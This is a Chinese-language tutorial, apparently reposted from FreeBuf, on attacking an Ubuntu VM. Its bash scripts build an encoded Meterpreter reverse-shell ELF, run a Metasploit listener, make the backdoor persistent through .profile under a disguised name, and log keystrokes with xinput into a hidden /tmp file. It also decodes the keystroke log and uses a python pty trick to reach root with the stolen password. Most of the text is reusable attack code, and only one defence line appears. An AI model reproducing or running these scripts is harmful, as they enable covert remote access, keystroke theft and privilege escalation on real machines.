转载FreeBuf.COM
这篇文章写来主要是一次娱乐性的练习。共享出攻击的细节,其中包括一些经过原作者修改过的各种来源的脚本文件。渗透的过程不是重点,之所以发出来最大的原因主要是文章后半部分维持持久化攻击的一些地方还是很值得学习的,顺便大家也可以再次熟悉一下MSF框架。希望对大家有所帮助。
攻击环境:
Ubuntu12.04LTS 32bit(靶机,默认的软件安装配置)
VirtualBox
Metasploit framework(最新版)
Debian Squeeze 64bit (攻击机)
首先,我们先准备一个简单的二进制ELF可执行文件生成器的bash脚本,这样后续工作就可以轻松很多。然后将脚本放在Metasploit的主目录下:
#!/bin/bash clear echo"************************************************" echo " LINUX ELF BINARY GENERATOR FOR METASPLOIT *" echo"************************************************" echo -e "What IP are we gonna use ex. 192.168.0.1? \c" read IP echo -e "What Port Number are we gonnalisten to? : \c" read port ./msfpayloadlinux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port R| ./msfencode -t elf-e x86/shikata_ga_nai >> Executive echo "Executive binarygenerated.." chmod u=rwx Executive ls -la Executive
运行脚本之后进行简单的配置之后我们就有了一个名为Executive的二进制可执行文件。
接下来需要我们在攻击机上启动一个监听来等待靶机主动连上来,因为我们这里使用了全球流行的reverse后门哇咔咔!为了工作更加简(zhuang)单(bi),我这里又写了一个bash,然后将bash文件也放在Metasploit的主目录下面:
#!/bin/bash clear echo"*********************************************" echo " METASPLOIT LINUX METERPRETER LISTENER *" echo"*********************************************" echo "Here is a network device listavailable on yor machine" cat /proc/net/dev | tr -s ' ' | cut -d ' ' -f1,2 | sed -e '1,2d' echo -e "What network interface are wegonna use ? \c" read interface echo -e "What Port Number are we gonnalisten to? : \c" read port # Get OS name OS=`uname` IO="" # store IP case $OS in Linux) IP=`/sbin/ifconfig $interface | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print$1}'`;; *)IP="Unknown";; esac echo " starting the meterpreter listener.." ./msfcli exploit/multi/handler PAYLOAD=linux/x86/meterpreter/reverse_tcp LHOST=$IP LPORT=$port E
好了,监听生成结束,然后就需要我们使用各种猥琐的方式将后门木马转给Ubuntu靶机执行。因为这里是练习,所以我们直接将ELF文件放在受害机中执行
此处有图胜有声
现在我们就已经在靶机上成功执行了这个“未知”的二进制文件。当我们双击这个文件时没有任何反应(所以这个时候后门注入才是王道),不过我们的攻击机上的监听已经有了结果:
然后呢?我们现在有了一个meterpreter shell,不过应该怎样获取到root权限呢?接下来的工作才是最有趣的部分:接下来,我们将在靶机的home中放一个后门文件,并通过修改.profile文件做到每次靶机启动的时候都会执行我们的后门。为了做到这步,我们首先需要下载靶机的.profile文件:
我们在文件中加了一点点内容以保证每次登录都能成功执行我们的后门文件,这里加的是./executive(用的就是生成的后门文件名,这里我们可以起一些诱惑性大的名字比如sys.conf之类的,但是要保证文件具有可执行+x权限)
然后我们将修改后的.profile文件传回靶机
接着我们上传我们的ELF二进制可执行文件到靶机的home目录里面,并改名为executive同时要保证文件具有RWX属性
那么现在我们就获得了一个简单的持久性后门,每次靶机开机我们这边就可以获得一个上线shell,并且文件时静默执行不含任何防腐剂的。
好的,第一步持久化我们已经完成了,接下来我们做点什么呢?
键盘记录
Ubuntu自带xinput所以我们可以利用这个做一个键盘记录keylogger记录靶机在X界面下的一些按键输入。同时这里作者又写了一bash脚本(……):
#!/bin/bash export DISPLAY=:0.0 xinput list echo -e "KBD ID ?" read kbd xmodmap -pke > /tmp/.xkey.log script -c "xinput test $kbd" |cat >> /tmp/.xkey.log & echo "The keylog can be downloadedfrom /tmp/.xkey.log" echo "Use the meterpreter downloadfunction" echo "Press CTLR+C to exit thissession, keylogger will run in backround"
写完之后我们将脚本放在靶机中然后执行。当然最好也来个登录启动。
启动之后我们还需要手工找到键盘的KBD ID,然后输入,这里是10
然后让脚本去识别一下。脚本记录的log文件默认是放在/tmp文件夹下的,一段时间之后,我们下载下来分析一下。
这个脚本的生成的内容地球人是看不懂的,所以我们将log文件down下来之后还需要进行接下来的处理,这里作者写了一个bash文件生成了一个python脚本来解码这段天书log(…),下面是解码的bash脚本:
#!/bin/sh cat .xkey.log | grep keycode >xmodmap.pke cat .xkey.log | grep 'key p' > xlog rm -f .xkey.log #Generating some Python to do the decoding echo 'import re, collections, sys' >decoder.py echo 'from subprocess import *' >>decoder.py echo 'def keyMap():' >> decoder.py echo ' table = open("xmodmap.pke")' >> decoder.py echo ' key = []' >> decoder.py echo ' for line in table:' >> decoder.py echo " m = re.match('keycoded+) = (.+)',line.decode())" >> decoder.py echo ' if m and m.groups()[1]:' >> decoder.py echo ' key.append(m.groups()[1].split()[0]+"_____"+m.groups()[0])'>> decoder.py echo ' return key' >> decoder.py echo 'def printV(letter):' >>decoder.py echo ' key=keyMap();' >> decoder.py echo ' for i in key:' >> decoder.py echo ' if str(letter) ==i.split("_____")[1]:' >> decoder.py echo ' return i.split("_____")[0]'>> decoder.py echo ' return letter' >> decoder.py echo 'if len(sys.argv) < 2:' >>decoder.py echo ' print "Usage: %s FILE" %sys.argv[0];' >> decoder.py echo ' exit();' >> decoder.py echo 'else:' >> decoder.py echo ' f = open(sys.argv[1])' >>decoder.py echo ' lines = f.readlines()' >>decoder.py echo ' f.close()' >> decoder.py echo ' for line in lines:' >> decoder.py echo " m = re.match('keyss +(\d+)',line)" >> decoder.py echo ' if m:' >> decoder.py echo ' keycode =m.groups()[0]' >> decoder.py echo ' print(printV(keycode))' >> decoder.py echo 'Please see LOG-keylogger for theoutput......' python decoder.py xlog > LOG sed ':a;N;$!ba;s/\n/ /g' LOG >LOG-keylogger rm -f LOG rm -f xmodmap.pke rm -f decoder.py rm -f xlog cat LOG-keylogger
现在我们运行一下这个bash脚本,我们就可以看到效果了:
好,keylogger也搞完了接下来就是怎么样获取到root权限了。
获取root权限
在这里,我们从以上的keylogger中获取到了root密码,但是当我们直接输入sudo su获取root的时候却遇到了无法返回响应的情况:
这里有一个绕过的好方法,就是利用自带的python来获取一个交互式的shell从而可以让我们获取root权限(如果仔细看过我之前VPN渗透那篇文章的同学应该记得这个trick):
python -c “import pty;pty.spawn(‘/bin/bash’)”
这样我们sudo su的时候就可以输入root密码了,然后成功获取到了一个root级别的shell,整个过程就完满完成了。
后记
CentOS, Debian Squeeze等有些系统默认是不带xinput的所以keylogger的部分就没办法完成了。
另外,要想防止这个键盘记录其实也很简单,只要去掉xinput的可执行权限就可以了
chmod a-x /path/to/xinput
当然,即便是目标机器上没有自带xinput那难道就会难倒我们么?拜托我们都已经有了meterpreter shell了好么。
最后附上作者做的良心的视频Demo(已搬回墙内,不谢!):
高清视频请自行下载:http://pan.baidu.com/s/1jGpAVWE
有梯子的土豪点这里:http://www.youtube.com/embed/_k_DtYhIOpY